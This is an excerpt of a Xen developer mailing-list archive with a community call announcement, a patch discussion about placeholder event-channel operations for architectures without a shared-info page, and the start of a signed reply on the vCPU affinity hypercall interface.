From: Cody Zuschlag <cody.zuschlag@xenproject.org>
Date: Wed, 1 Jul 2026 17:29:54 +0200
X-Gmail-Original-Message-ID: <CAJbE=Kxmq-2QLScjxVjXw5rg0SPky=6RL-GeuJVBjAbXjPOipg@mail.gmail.com>
X-Gm-Features: AVVi8Ce0T2c5gcTJQjHKfTk87pywHalYs-RoggO2ZWB09IhznD0KZAlbcYRlb2E
Message-ID: <CAJbE=Kxmq-2QLScjxVjXw5rg0SPky=6RL-GeuJVBjAbXjPOipg@mail.gmail.com>
Subject: [ANNOUNCE] - Call for agenda items for July 2 Xen Community Call @
 15:00 UTC
To: xen-devel@lists.xenproject.org
Content-Type: multipart/alternative; boundary="000000000000c5384706558e5d83"

--000000000000c5384706558e5d83
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

Hi everyone,

It=E2=80=99s time for the July Xen Project Community Call, happening tomorr=
ow,
Thursday, 2 July at 15:00 UTC.

We=E2=80=99d love to have you join. Whether you have updates to share or ju=
st want
to listen in, it's a great opportunity to hear what the community has been
working on and discuss ongoing project activities.


*Preparation:*=F0=9F=91=89 Please take a moment to review and update the ag=
enda ahead
of the call:
https://cryptpad.fr/pad/#/2/pad/edit/JItQI8jtCjrs3eM1SWSgjDgv/

Feel free to:
- Add topics or project updates
- Suggest anything we can drop or defer
- Include links to patches, threads, or documentation where helpful

The agenda also includes the meeting link and additional call details.


*Call Details:*Date: Thursday, 2 July 2026
Time: 15:00 UTC (agenda starts at 15:05 UTC)
Join: https://meet.jit.si/XenProjectCommunityCall

We'll open the room at 15:00 UTC and begin the agenda at 15:05 UTC to give
everyone a few minutes to join.

Want to be CC'd on future calls?

Add or remove yourself from our sign-up sheet:
https://cryptpad.fr/pad/#/2/pad/edit/D9vGzihPxxAOe6RFPz0sRCf+/

See you tomorrow!

Best regards,

Cody Zuschlag
Xen Project - Community Manager

--000000000000c5384706558e5d83
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

<div dir=3D"ltr"><div>Hi everyone,<br><br>It=E2=80=99s time for the July Xe=
n Project Community Call, happening tomorrow, Thursday, 2 July at 15:00 UTC=
.<br><br>We=E2=80=99d love to have you join. Whether you have updates to sh=
are or just want to listen in, it&#39;s a great opportunity to hear what th=
e community has been working on and discuss ongoing project activities.<br>=
<br><b>Preparation:<br></b>=F0=9F=91=89 Please take a moment to review and =
update the agenda ahead of the call:<br><a href=3D"https://cryptpad.fr/pad/=
#/2/pad/edit/JItQI8jtCjrs3eM1SWSgjDgv/">https://cryptpad.fr/pad/#/2/pad/edi=
t/JItQI8jtCjrs3eM1SWSgjDgv/</a><br><br>Feel free to:<br>- Add topics or pro=
ject updates<br>- Suggest anything we can drop or defer<br>- Include links =
to patches, threads, or documentation where helpful<br><br>The agenda also =
includes the meeting link and additional call details.<br><br><b>Call Detai=
ls:<br></b>Date: Thursday, 2 July 2026<br>Time: 15:00 UTC (agenda starts at=
 15:05 UTC)<br>Join: <a href=3D"https://meet.jit.si/XenProjectCommunityCall=
">https://meet.jit.si/XenProjectCommunityCall</a><br><br>We&#39;ll open the=
 room at 15:00 UTC and begin the agenda at 15:05 UTC to give everyone a few=
 minutes to join.<br><br>Want to be CC&#39;d on future calls?<br><br>Add or=
 remove yourself from our sign-up sheet:<br><a href=3D"https://cryptpad.fr/=
pad/#/2/pad/edit/D9vGzihPxxAOe6RFPz0sRCf+/">https://cryptpad.fr/pad/#/2/pad=
/edit/D9vGzihPxxAOe6RFPz0sRCf+/</a><br><br>See you tomorrow!<br><br>Best re=
gards,</div><div><br><img src=3D"https://ci3.googleusercontent.com/mail-sig=
/AIorK4x5nkRDCOFJDJAv9aMXdZ0mghItsp3D36JrwBCQtitBSW_0NeDS6mBmJ2F4vZVE2oBOqn=
Y6IaJUrl12" style=3D"background-color: transparent;"></div><div><div dir=3D=
"ltr" class=3D"gmail_signature" data-smartmail=3D"gmail_signature"><div dir=
=3D"ltr"><div>Cody Zuschlag</div><div>Xen Project - Community Manager</div>=
</div></div></div></div>

--000000000000c5384706558e5d83--


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 15:30:55 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 15:30:55 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350174.1607725 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wewtr-0005uy-45; Wed, 01 Jul 2026 15:30:55 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350174.1607725; Wed, 01 Jul 2026 15:30:55 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wewtr-0005ur-1H; Wed, 01 Jul 2026 15:30:55 +0000
Received: by outflank-mailman (input) for mailman id 1350174;
 Wed, 01 Jul 2026 15:30:54 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wewtp-0005uj-Rn
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 15:30:53 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wewto-003GHH-TZ
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 17:30:52 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4532ac-e002-0a2a0a5209dd-0a2a4501c9a6-4
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 17:30:52 +0200
Received: from [209.85.221.41] (helo=mail-wr1-f41.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4532a1-400f-0a2a45010019-d155dd29dc8c-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 17:30:41 +0200
Received: by mail-wr1-f41.google.com with SMTP id
 ffacd0b85a97d-474560436c3so758602f8f.0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 08:30:41 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-148-111.play-internet.pl.
 [109.243.148.111]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-477de3dd0b1sm571782f8f.35.2026.07.01.08.30.40
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 08:30:40 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:In-Reply-To:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1782919841; x=1783524641; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:content-language:references
         :cc:to:from:subject:user-agent:mime-version:date:message-id:from:to
         :cc:subject:date:message-id:reply-to;
        bh=PzuFWwDhr1bgrcQW7srPgbk5rjVNeVot/73Z7hmNgIk=;
        b=EWVz2g0yTOm8/wlDb485/3HpqO2VOmWmzK5rwdCQ5xKPSqe9UT4qZOcgp6FhLIHB3s
         1IgPlBNaRi9x1UhZ8gn2YurydmgOOpBf5B2Ho+/WGMmti3eYrGFIZyO3rwbnLXaiqElp
         9/URhg2vSyj7wO1v8Yp3ZyqRp9XxMwNSOodAq5DE8/WtIDmdtEWF45OmfEPptcW0AeKO
         fONNSuEzp6hXrUdSz0okIpRF0nceWVEpWv1WUezP3pIGBQoMmm4x3AtwAao4ss2sOEu6
         srK6l5QT/BwwmCazV9dokerTe5kZLEQ9UR2dGNEQ6iUqMnPStkG16mC63eTTgfgeue6u
         mnbg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782919841; x=1783524641;
        h=content-transfer-encoding:in-reply-to:content-language:references
         :cc:to:from:subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
        bh=PzuFWwDhr1bgrcQW7srPgbk5rjVNeVot/73Z7hmNgIk=;
        b=bEoe930Y5Dzfnz3YsnJr8+anc87bTUpWXzp2QTN27/USuxMV5IbOR4frtTEcaFpqGh
         IXvr/bCt93m6PgZKcgfUjVyaf5CWxMXuYtvwZWcLmsAM2w/RHtJHDRhBItHJ/vtn6EIs
         lV+J9zssx+BBSkFLpLUlKapRykKDL5JATZBiDwN0Ikg1/+g4m6gG45bLZxagsorBCasL
         nPh/KtmclDyrOH2dgUkDimJ2+1rG1Z09HAuDXFl7mlhpMgdFN9npJd9epAvTV/Q10FOo
         NOoippAthyQX14vASO3M5GepoRFjEpKEAiMjx47Ou5ik8ainYH1sFkRqoPJ0xTY8GdDn
         Yt/w==
X-Forwarded-Encrypted: i=1; AHgh+Rr7yBKrIGTHK0JiqB0KoafMgAmzGL69fttQ5HW2arQrZcMDDrbYL+gLFnXVVxk9flUgmaIC0uV7ZBE=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyVku1FSpqgGVjn46nkNgpCO1YJ7P8QNHJpBTy+xyXjYNW8G3aq
	r5WueGQFvut+lelB1H7KcYhCDGe1j9yl3L3fRWgFm/ifV4gmU9qGVS8P
X-Gm-Gg: AfdE7cmQPb6h6A3ZDAYBV5r9SCrNCF3aVYYRzWgpdW57uAkVBR3fsATTdceobJQXsvn
	BP6ka6Rn2EkNXj3XWZFWRCEsw1DGVoRQgRH0lM4e4X3HLItev49I7W4bLcQPkS5Id2JvPbMRigZ
	ph4a92vw7Tu/JNGC49fzEd9qRcKA3Sf8mjPvj/4rLU9MHSyr9utv3U4/nxgP2FvJxOC/dpQ+3X0
	b9uxDf6NHIZb8iIRbjoP2/wHsCKZV6velgCyeZcRIz5oLq4Xe/7va1NMNIZJEjaFjqHS5RRwnJB
	B6eG9I3IPfDRldcJ5+mIernbPLXhFFcvgASHusYEDj8BMx1yIfGRWpO1Y5N/zcjynY0jGlwhNuy
	737oz3b/nSpDYzuchMEL5vp/PXRPNGnXpOPjacR33Oeeqdfwy3NLd+C9E5mJr1cKYyjjN+xj45R
	FzqaCnTh+RnTJt8dA31+qpr99FzNZRggUXgrX+SS8XCLyNzuEAbJEo9VuVhhZmPt0yvkQ=
X-Received: by 2002:a05:6000:18af:b0:475:f0d1:eb55 with SMTP id ffacd0b85a97d-477b1aa2fefmr1804109f8f.48.1782919840832;
        Wed, 01 Jul 2026 08:30:40 -0700 (PDT)
Message-ID: <8808a658-0172-4af6-a6dc-6c975d0e5c34@gmail.com>
Date: Wed, 1 Jul 2026 17:30:39 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v4] xen: introduce CONFIG_HAS_SHARED_INFO for archs
 without a shared page
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>, xen-devel@lists.xenproject.org
References: <775c88457e5ec7fc7889002c6f9829669f9bce97.1782388193.git.oleksii.kurochko@gmail.com>
 <5d344cec-bb97-4d3b-87ff-e7175772fd45@suse.com>
 <0e2a8eab-366f-4384-a467-43f051d047ec@gmail.com>
Content-Language: en-US
In-Reply-To: <0e2a8eab-366f-4384-a467-43f051d047ec@gmail.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d62444/1782919841-80CD61E0-70DF2864/10/73395122804
X-purgate-type: spam
X-purgate-size: 3614



On 6/30/26 5:02 PM, Oleksii Kurochko wrote:
> 
>>
>>> @@ -55,6 +59,7 @@ struct evtchn_expand_array;
>>> Â  int evtchn_fifo_init_control(struct evtchn_init_control 
>>> *init_control);
>>> Â  int evtchn_fifo_expand_array(const struct evtchn_expand_array 
>>> *expand_array);
>>> Â  void evtchn_fifo_destroy(struct domain *d);
>>> +void evtchn_fifo_init_ops(struct domain *d);
>>> Â  #else
>>> Â  static inline int evtchn_fifo_init_control(struct 
>>> evtchn_init_control *init_control)
>>> Â  {
>>> @@ -68,6 +73,7 @@ static inline void evtchn_fifo_destroy(struct 
>>> domain *d)
>>> Â  {
>>> Â Â Â Â Â  return;
>>> Â  }
>>> +static inline void evtchn_fifo_init_ops(struct domain *d) {}
>>> Â  #endif /* CONFIG_EVTCHN_FIFO */
>>
>> Unlike these two. Which raise a different question though: What will 
>> be the
>> behavior when EVTCHN_FIFO=n and HAS_SHARED_INFO=n? Taking
>> evtchn_alloc_unbound() as example, afaict evtchn_port_init() will stumble
>> over a NULL pointer. Looks like for that (and only that) case we still 
>> need
>> your earlier dummy fallback.
> 
> I will introduce dummy fallback (I will shrunk some stubs in final 
> version):
> 
> +#ifndef CONFIG_HAS_SHARED_INFO
> +static void cf_check evtchn_none_set_pending(
> +Â Â Â  struct vcpu *v, struct evtchn *evtchn) {}
> +static void cf_check evtchn_none_clear_pending(
> +Â Â Â  struct domain *d, struct evtchn *evtchn) {}
> +static void cf_check evtchn_none_unmask(
> +Â Â Â  struct domain *d, struct evtchn *evtchn) {}
> +static bool cf_check evtchn_none_is_pending(
> +Â Â Â  const struct domain *d, const struct evtchn *evtchn) { return false; }
> +static bool cf_check evtchn_none_is_masked(
> +Â Â Â  const struct domain *d, const struct evtchn *evtchn) { return true; }
> +static void cf_check evtchn_none_print_state(
> +Â Â Â  struct domain *d, const struct evtchn *evtchn) {}
> +
> +static const struct evtchn_port_ops evtchn_port_ops_none = {
> +Â Â Â  .set_pendingÂ Â  = evtchn_none_set_pending,
> +Â Â Â  .clear_pending = evtchn_none_clear_pending,
> +Â Â Â  .unmaskÂ Â Â Â Â Â Â  = evtchn_none_unmask,
> +Â Â Â  .is_pendingÂ Â Â  = evtchn_none_is_pending,
> +Â Â Â  .is_maskedÂ Â Â Â  = evtchn_none_is_masked,
> +Â Â Â  .print_stateÂ Â  = evtchn_none_print_state,
> +};
> +
> +static void evtchn_none_init(struct domain *d)
> +{
> +Â Â Â  d->evtchn_port_ops = &evtchn_port_ops_none;
> +}
> +#endif

I will shrink it to::

#ifndef CONFIG_HAS_SHARED_INFO
/*
  * Placeholder ops for domains with neither a shared_info page nor (yet)
  * a FIFO control block.  None of these are ever reachable in practice;
  * they only exist to keep d->evtchn_port_ops non-NULL.
  */
static void cf_check evtchn_none_set_pending(
     struct vcpu *v, struct evtchn *evtchn) {}

static void cf_check evtchn_none_noop(
     struct domain *d, struct evtchn *evtchn) {}

static bool cf_check evtchn_none_false(
     const struct domain *d, const struct evtchn *evtchn) { return false; }

static void cf_check evtchn_none_print_state(
     struct domain *d, const struct evtchn *evtchn) {}

static const struct evtchn_port_ops evtchn_port_ops_none = {
     .set_pending   = evtchn_none_set_pending,
     .clear_pending = evtchn_none_noop,
     .unmask        = evtchn_none_noop,
     .is_pending    = evtchn_none_false,
     .is_masked     = evtchn_none_false,
     .print_state   = evtchn_none_print_state,
};

void evtchn_none_init(struct domain *d)
{
     d->evtchn_port_ops = &evtchn_port_ops_none;
}
#endif /* CONFIG_HAS_SHARED_INFO */

~ Oleksii



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 15:34:12 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 15:34:12 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350184.1607735 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wewx0-0006dt-K6; Wed, 01 Jul 2026 15:34:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350184.1607735; Wed, 01 Jul 2026 15:34:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wewx0-0006dm-HO; Wed, 01 Jul 2026 15:34:10 +0000
Received: by outflank-mailman (input) for mailman id 1350184;
 Wed, 01 Jul 2026 15:34:09 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wewwz-0006dN-4z
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 15:34:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wewwy-003t4z-Hy
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 17:34:08 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a453368-5cb7-0a2a0a5109dd-0a2a450ba044-24
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 17:34:08 +0200
Received: from [209.85.218.53] (helo=mail-ej1-f53.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a453370-ac48-0a2a450b0019-d155da35f0b4-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 17:34:08 +0200
Received: by mail-ej1-f53.google.com with SMTP id
 a640c23a62f3a-c12788a75abso163290566b.2
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 08:34:08 -0700 (PDT)
Received: from ?IPV6:2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112?
 (2a00-12d0-af5d-ad01-5d3f-14e6-9bcb-5112.ip.tng.de.
 [2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112])
 by smtp.gmail.com with ESMTPSA id
 a640c23a62f3a-c1288f4771csm292906366b.42.2026.07.01.08.34.07
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 08:34:07 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782920048; x=1783524848; darn=lists.xenproject.org;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=P6tGDWGopQmmnMhTuYZl5huHumnoFIX3aXzPovHMf/M=;
        b=B+16iffabuuHCREjjK3jBiLoBEQqDuz2qx1CX7UgAa4rjz9867bBk0RtYpG2AOwe9W
         y2qOpspFNJWUxMMJmtxk/ZAhK1prYjmke9a5d+h9cIS+ZYJW4VMpx+O/umJSNTebjY1j
         wfcmO2e3Tz9ZaT9PNOFWs+gVe9/+BhMVboo4il7jBLHR/+Jk8STyoShaj74Bit9ojP3v
         JUjaJMgYulO9eLtdzWeCKblQ1vuzwqe0yhgdLXZSYzxIEct7+rQcQVS55+EkuX1nv5po
         FrM5emqO/sF6OofqXH0CJwa7ZodNdT1HEW3l52bbkwSR9GBXvEcnU+PRB6/6kA+E6g8W
         tDIQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782920048; x=1783524848;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=P6tGDWGopQmmnMhTuYZl5huHumnoFIX3aXzPovHMf/M=;
        b=pFd+gfDqCOjFUmM4Sy/p//hWLFHzQu8Ch4dv6iCuDCx6KBbWS4vAxrGof1D32EIdHt
         7fG3xzZWcqag8FMaaUmzolgSij6idbhAiiM5OFLp4QdNulSKJ7Rxs6pQ13S/2CWwjU98
         Ptxg+wEW2OK81A260vounEvG6m/SmFUZLLH7y126/FJHAYIgB9vgy2QIOQmhMRXBEsLP
         nFD6K93A8UaQH4TM7cT+LGDVJEpt5p1sH623/5qHLtFySLUwUaniyqaOUb29De19/kwC
         8j7gmIgqbnFFDgwyjKRCxkj2oSmeJzl+iBh3X1uXyPql4N956gq3YMImm53VETakpiRF
         5U7Q==
X-Forwarded-Encrypted: i=1; AHgh+RqkJIBUXc94LvRUuPP3e74x05TakncXkKyN3dmbNeg3C1TJVfbupqkjaUSLYv+OLRYh5a3vY+v83LE=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwEM7Ae0aeybnamrozYVoMbHqoTsi81kJU5baWADykaJR3ynyqj
	vag4s7CgQCROPCrpltwVoLLIjd79pfCOLN1ToxHAQasD1aD3QWVs9OC1sF2Tc+l/tjw=
X-Gm-Gg: AfdE7cnLqAxR48NGe8BLFVRjnaNwKcAUqO9D2HlCsOEJiRuzEdSsYD3UxoMNbDoVkEE
	Jp1L3xYjX/8atal+7YeAlXqlpP8KVogeNe1bJ6cyTKEXTOXrDvr6bTY2DliLbtcrDaxPU5aoroT
	oxLe+q/miIlcBK2ekFlSD5qGyy1BdnHmv4eFKx6rrHv7iro6/+B90ZPnfwbam3jxIYojTepq6ir
	cEATkObsCmaaROio6KFyFmFtQB13Q4TRafKftbT6/qQyQgt1GzPsHHpO2eVYMb0fV8ItdGFVJ3m
	OHhnDrbwTvdekFzsaz/ZfsEpJzznr5/w/n56HAwpDGdEjc0GvJxBrl719gfpbTXNaLOZNZPqvjp
	lrZ8RSg6f3R4vzpz1udbZm0aWMYERJ+bAZE9AlTM6SyPcXBORJKHyJ8wv5B9rsQABlrJCIJuliE
	ScKAMqKsTvWmXBFiTrFRsHCRrL5dod2cvqIPhAB02rpnslwta0Tvdy1otbIz+0prwquSnxE0R0+
	LK1fv242NPQEpH9SIUCKeYsVkyNKeLENa+DKQEN0D8=
X-Received: by 2002:a17:906:f8cf:b0:c12:34f0:f7bf with SMTP id a640c23a62f3a-c12ae798209mr50864066b.62.1782920047863;
        Wed, 01 Jul 2026 08:34:07 -0700 (PDT)
Message-ID: <d7da5a56-3d65-403c-9c3c-19e1566d2839@suse.com>
Date: Wed, 1 Jul 2026 17:34:07 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 0/3] Change XEN_DOMCTL_setvcpuaffinity interface
To: Jan Beulich <jbeulich@suse.com>
Cc: Anthony PERARD <anthony.perard@vates.tech>,
 Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <20260701111606.4063972-1-jgross@suse.com>
 <4e16c1eb-e1ff-4d7a-bfa8-223d357716ee@suse.com>
Content-Language: en-US
From: Juergen Gross <jgross@suse.com>
Autocrypt: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2kaV2KL9650I1SJve
 dYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i1TXkH09XSSI8mEQ/ouNcMvIJ
 NwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/BBLUVbDa4+gmzDC9ezlZkTZG2t14zWPvx
 XP3FAp2pkW0xqG7/377qptDmrk42GlSKN4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEB
 AAHNH0p1ZXJnZW4gR3Jvc3MgPGpncm9zc0BzdXNlLmNvbT7CwHkEEwECACMFAlOMcK8CGwMH
 CwkIBwMCAQYVCAIJCgsEFgIDAQIeAQIXgAAKCRCw3p3WKL8TL8eZB/9G0juS/kDY9LhEXseh
 mE9U+iA1VsLhgDqVbsOtZ/S14LRFHczNd/Lqkn7souCSoyWsBs3/w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bfa8-223d357716ee@suse.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------sPrRxO3j4RhjJxr3HW9iP0V5"
X-purgate-ID: tlsNG-42698a/1782920048-A7732220-7BFC841F/0/0
X-purgate-type: clean
X-purgate-size: 8723

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------sPrRxO3j4RhjJxr3HW9iP0V5
Content-Type: multipart/mixed; boundary="------------yE7QNpFhXJ3EXiiZ6MI7lST4";
 protected-headers="v1"
From: Juergen Gross <jgross@suse.com>
To: Jan Beulich <jbeulich@suse.com>
Cc: Anthony PERARD <anthony.perard@vates.tech>,
 Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
Message-ID: <d7da5a56-3d65-403c-9c3c-19e1566d2839@suse.com>
Subject: Re: [PATCH 0/3] Change XEN_DOMCTL_setvcpuaffinity interface
References: <20260701111606.4063972-1-jgross@suse.com>
 <4e16c1eb-e1ff-4d7a-bfa8-223d357716ee@suse.com>
In-Reply-To: <4e16c1eb-e1ff-4d7a-bfa8-223d357716ee@suse.com>
Autocrypt-Gossip: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab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DSJrcsZlyMDoiTb7FyqxwQnM0f6qHxWbmOOnbzJmBqpNpFuDcz/4xNsymJylm6oXiucHQBAP
 Xb/cE1YNHpuaH4SRhIxwQilCYEznWowQphNAbJtEKOmcocY7EbSt8VjXTzmYENkIfkrHRyXQ
 dUm5AoL51XZljkCqNwrADGkTvkwsWSvCSQQYEQIACQUCWTecRAIbDAAKCRCgNK6L+3cgfuef
 AJ9wlZQNQUp0KwEf8Tl37RmcxCL4bQCcC5alCSMzUBJ5DBIcR4BY+CyQFAs=

--------------yE7QNpFhXJ3EXiiZ6MI7lST4
Content-Type: multipart/mixed; boundary="------------JmJaX0lAzmNAk3fszHAkFwwL"

--------------JmJaX0lAzmNAk3fszHAkFwwL
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

T24gMDEuMDcuMjYgMTM6MzksIEphbiBCZXVsaWNoIHdyb3RlOg0KPiBPbiAwMS4wNy4yMDI2
IDEzOjE2LCBKdWVyZ2VuIEdyb3NzIHdyb3RlOg0KPj4gVG9kYXkgdGhlIFhFTl9ET01DVExf
c2V0dmNwdWFmZmluaXR5IGh5cGVyY2FsbCB3aWxsIG5vdCBvbmx5IGNoYW5nZSB0aGUNCj4+
IGFmZmluaXR5IHNldHRpbmdzIG9mIGEgdmNwdSwgaXQgd2lsbCByZXR1cm4gdGhlIG5ldyBl
ZmZlY3RpdmUgc2V0dGluZ3MsDQo+PiB0b28uDQo+Pg0KPj4gSW4gY2FzZSBhbiBlcnJvciBo
YXBwZW5zIGR1cmluZyB0aGlzIGh5cGVyY2FsbCwgdGhlIGV4cGVjdGF0aW9uIG9mIHRoZQ0K
Pj4gY2FsbGVyIGlzIHRoYXQgdGhlIGFmZmluaXR5IG9mIHRoZSB2Y3B1IGRpZG4ndCBjaGFu
